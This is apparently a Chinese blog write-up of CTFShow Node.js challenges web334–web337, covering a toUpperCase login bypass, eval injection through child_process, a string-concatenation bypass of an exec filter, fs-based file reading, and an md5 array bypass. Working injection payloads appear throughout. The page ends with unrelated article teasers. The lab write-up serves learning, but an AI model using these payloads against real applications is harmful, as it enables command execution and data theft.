node.js漏洞——

一.什么是node.js

简单的说 Node.js 就是运行在服务端的 JavaScript。

Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。

Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境,基于 Google 的 V8 引擎,V8 引擎执行 Javascript 的速度非常快,性能非常好。

总结一下

我觉得node.js就是提供一个JavaScript环境 使这个语言升级 可以写一些后端的东西

直接做题学习

学习express

ctfshow——web334

打开是一个登陆框(好看的js)

给了源码

var express = require('express');
// 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。
var router = express.Router();

var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

想要不借助gpt看懂

先去学习一下 怎么用express模块创建服务器

————————学完了————————

感受是人类发明了gpt就要好好用它【呲牙笑】

还是让g大哥给我逐行注释一下吧【呲牙笑】

// 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。
var express = require('express');
//创建路由对象
var router = express.Router();
//导入路由模块,并获取其中的 'items' 属性,这应该是一个用户对象数组。
var users = require('../modules/user').items;
 


// 定义一个名为 'findUser' 的函数,接受用户名和密码作为参数。
// 使用 'find' 方法在 'users' 数组中查找用户名(转换为大写)和密码匹配的用户。
// 该函数还确保用户名不是 'CTFSHOW'。
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */

//挂载具体路由
router.post('/', function(req, res, next) {

  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});
//向外导出路由对象
module.exports = router;

主要看这段代码

toUpperCase()的作用是把小写转换成大写

return name !== 'CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

所以这句话就用 小写的ctfshow 就能绕过

这里还有一个trick

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以用ctfſhow 123456登录也可以出flag

web335

页面问where is flag

先扫一下

看了一下

什么都没有

直接查看源代

这也没啥

看wp

 这里打开源代码提示我们

 在js文件中查找没有找到相关的什么东西,这里怀疑是js的eval。

通过查找主要有这三种,但是发现好像只有child_process是自带,这里我们在本地尝试一下。

漏洞利用:

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

通过学习,我们可以知道,下面这三个我们可以直接利用的

payload:
    require('child_process').execSync('cat f*').toString()
    require('child_process').spawnSync('cat', ['f*']).stdout.toString()
 
额外的发现
    execFileSync只能执行ls之类,他cat不了文件
    require('child_process').execSync('cat f*') 这里突然发现不用toString也行

web336

发现这里exec好像被禁了,而且统配符不知道为什么突然用不了

所以再去学一下佬们的wp

通配符被ban了可以先查找flag在哪

F1

?eval=require( 'child_process' ).spawnSync( 'ls', [ './' ] ).stdout.toString()

?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

F2

看佬们还有一种解决方法

可以先看一下源代码

用这两个变量可以知道当前路径

用js里面的fs模块

这里用js的fs模块

?eval=require('fs').readFileSync('/app/routes/index.js', 'utf8')

记得这里要引入fs模块

就这样一个小女孩拿到了js源代码

果然是过滤了 exec' 和 'load'

var express = require('express'); // 引入 Express 框架
var router = express.Router(); // 创建一个新的路由器对象

/* GET home page. */
router.get('/', function(req, res, next) { // 定义处理 GET 请求的路由

    res.type('html'); // 将响应内容类型设置为 HTML

    var evalstring = req.query.eval; // 获取查询参数 'eval' 的值

    // 检查 evalstring 是否为字符串,并且是否包含 'exec' 或 'load' 字符串(忽略大小写)
    if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
        res.render('index', { title: 'tql' }); // 如果条件满足,渲染 'index' 视图,并设置标题为 'tql'
    } else {
        // 否则,使用 eval() 函数计算 evalstring 的值,并渲染 'index' 视图,设置标题为 eval() 的结果
        res.render('index', { title: eval(evalstring) }); 
    }
});

module.exports = router; // 导出路由器对象

可以用字符串拼接的方式绕过 参考:[CTFSHOW][WEB入门]nodejs部分WP_ctfshow web335 y4ta-CSDN博客

?eval=require('child_process')['exe'%2b'cSync']('cat f*').toString()

把加号url编码(浏览器解析特性+会成为空格)

这里怎么通配符又能用了?

F3

还是经过学习,发现fs模块,还有列出目录中的文件的方法。

//列出当前目录下的文件

 require('fs').readdirSync('./')

payload:

require('fs').readFileSync('fl001g.txt','utf-8')

web337

简单的md5数组绕过

也就是说js和php一样都是弱类型

payload:

a[]=1&b[]=2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/685336.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

5-Django项目--分页与搜索(资产页面)

目录 views/asset_data.py asset_data/asset_data.html 搜索与分页笔记: 搜索 整数搜索 字符串搜索 分页 views/asset_data.py # -*- coding:utf-8 -*- from django.shortcuts import render, redirect, HttpResponse from django.utils.safestring import mark_safe f…

redis安裝启动

1、下载redis解压 https://github.com/tporadowski/redis/releases 2、打开cmd,切换到解压的文件夹 3、redis-server.exe redis.windows.conf 启动redis redis可通过命令行输入config set requirepass password和直接修改redis.config文件中修改 requirepass 来设…

usb的hid报表描述符的数据含义详解

报表描述符组成基本单元item 项目编码有二种:短项目和长项目,长项目仅是保留给未来使用,所以不作介绍。下面是短item时,最后一个字节描述了item种类和尺寸 长item格式如下: 短格式如下 bSize :代表后面的…

kotlin 调用java的get方法Use of getter method instead of property access syntax

调用警告 Person.class public class Person {private String name;Person(String name) {this.name name.trim();}public String getName() {return name;}public void setName(String name) {this.name name;}public String getFullName() {return name " Wang&quo…

PasteCode系列系统说明

定义 PasteCode系列是指项目是基于PasteTemplate构建的五层以上项目,包括不仅限于 Domain EntityFrameworkCore Application.Contracts Application HttpApi.Host 熟悉ABP vNext就很好理解了,因为PasteTemplate就是基于ABP的框架精简而来!在…

【Java】static 修饰成员方法

static 修饰成员方法 简介 应用 static 修饰成员方法 1.static 修饰成员方法2.内存原理3.main函数4.类方法的应用 1.static 修饰成员方法 测试类: package suziguang_d2_staticdemo;public class Test {public static void main(String[] args) {// 1.类方法使用/…

体育器材管理系统(Java+MySQL)

技术栈 Java语言:作为主要编程语言,用于编写应用逻辑和界面交互。MySQL数据库:用于存储和管理体育器材的相关数据。Swing窗口视图:用于创建图形用户界面,使用户能够通过窗口进行操作(GBK编码)。…

电源设计01

嵌入式电源设计 电池容量的计算电路充电时的选择: 科普硬件知识,写写关于电路板电源的事情。各类电源模块实物但为什么硬件工程师又必须要了解电源并且在板内自己设计电源呢?首先是DCDC的降压芯片下面推荐几个升压芯片:LDO 电池容…

vue3+elementPlus实现Radio单选切换显示不同内容

el-radio-group 组件方法&#xff1a; <template><el-radio-group v-model"radio"><el-radio :value"0">阶梯达标</el-radio><el-radio :value"1">限时达标</el-radio></el-radio-group> </templ…

【设计模式深度剖析】【3】【行为型】【职责链模式】| 以购物中心客户服务流程为例加深理解

&#x1f448;️上一篇:命令模式 设计模式-专栏&#x1f448;️ 文章目录 职责链模式定义英文原话直译如何理解呢&#xff1f; 职责链模式的角色1. Handler&#xff08;抽象处理者&#xff09;2. ConcreteHandler&#xff08;具体处理者&#xff09;3. Client&#xff08;客户…

Vue随笔记

1 Idea里面使用Vue Idea里面要安装Vue插件 File - New - Project - JavaScript - Vue.js 然后出现&#xff1a; "C:\Program Files\nodejs\node.exe" "C:\Program Files\nodejs\node_modules\npm\bin\npx-cli.js" --ignore-existing --package vue/cli…

学习串口屏需要了解哪些方面的知识

学习串口屏需要掌握的知识主要包括以下几个方面&#xff1a; 串口通信原理&#xff1a;串口屏是基于串口通信的显示控制模组&#xff0c;因此了解串口通信的基本原理和通信协议是必要的。你需要了解串口通信的基本概念、数据格式、波特率、校验位等参数&#xff0c;以及串口通…

信息学奥赛初赛天天练-21-完善程序-动态规划、编辑距离与字符数组应用的极致探索

PDF文档公众号回复关键字:20240606 1 2023 CSP-J 完善程序2 完善程序&#xff08;单选题&#xff0c;每小题 3 分&#xff0c;共计 30 分&#xff09; 给定两个字符串&#xff0c;每次操作可以选择删除&#xff08;Delete&#xff09;、插入&#xff08;Insert&#xff09;…

一文读懂动态IP与静态IP的区别与选择

在当今的数字世界中&#xff0c;网络安全与隐私保护已成为越来越重要的话题&#xff0c;网络代理作为一种常见的技术工具&#xff0c;被广泛应用于保护用户隐私、绕过网络限制、进行网络测试等诸多领域。 IPFoxy提供独享纯净的动态IP代理与静态IP代理选择&#xff0c;我们需要根…

AI大模型语料库

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 语料库概述 语料库&#xff08;Corpus&#xff09;是一个存储了大量真实语言使用实例的集合&#xff0c;这些实例可以是文本、语音、视频等多种形式的语言数据。语料库通常…

如何将 MySQL 数据库共享给他人?

文章目录 共享所有数据库给他人1. 连接到 MySQL 数据库2. 选择要使用的数据库3. 修改连接所需的 host4. 刷新权限 共享部分数据库给他人1. 创建用户2. 授权3. 刷新权限 结语 &#x1f389;欢迎来到Java学习路线专栏~探索Java中的静态变量与实例变量 ☆* o(≧▽≦)o *☆嗨~我是I…

HCIP-Datacom-ARST自选题库_10_其他判断【23道题】

1.端到端时延等于路径上所有处理时延与队列时延之和。 2.部署PPP Multilink之后&#xff0c;数据将根据源地址和目的地址均匀的分配在各条成员链路上。 3.流镜像分为本地流镜像和远程流镜像两种方式。√ 4.IP报文中用Tos字段进行Q0S标记&#xff0c;Tos字段中是使用前6bit来…

BGP基础实验

BGP协议中的建邻&#xff0c;与宣告路由分开的 在任何一台BGP路由上&#xff0c;均可宣告本地路由表中通过任何形势获取的路由条目&#xff0c;将其共享给其他BGP邻居&#xff1b; 然后display ip rou查看 *>代表状态 *的意思是可用 >代表优 i和*>无关&#x…

数据结构———链表

链表是经常用到的一种基础数据结构&#xff0c;接下来我们讲讲链表。 链表&#xff1a; 特点&#xff1a; 链表可分为有头/无头链表&#xff0c;循环/无环&#xff0c;双向/单向链表&#xff0c;每个链表节点都包含一个数据和下一个链表节点的地址。 每个链表节点都指向下一…

树-层序遍历序列构造二叉树(mid)

一、问题描述 二、实现思路 问题给出了层序遍历序列&#xff0c;我们使用队列来实现二叉树的构造过程&#xff1a; 这里注意&#xff1a;在写代码时&#xff0c;比较字符串数组内元素str和某个字符串是否相等时用str.equals("#")的操作&#xff0c;如果用 会引发比较…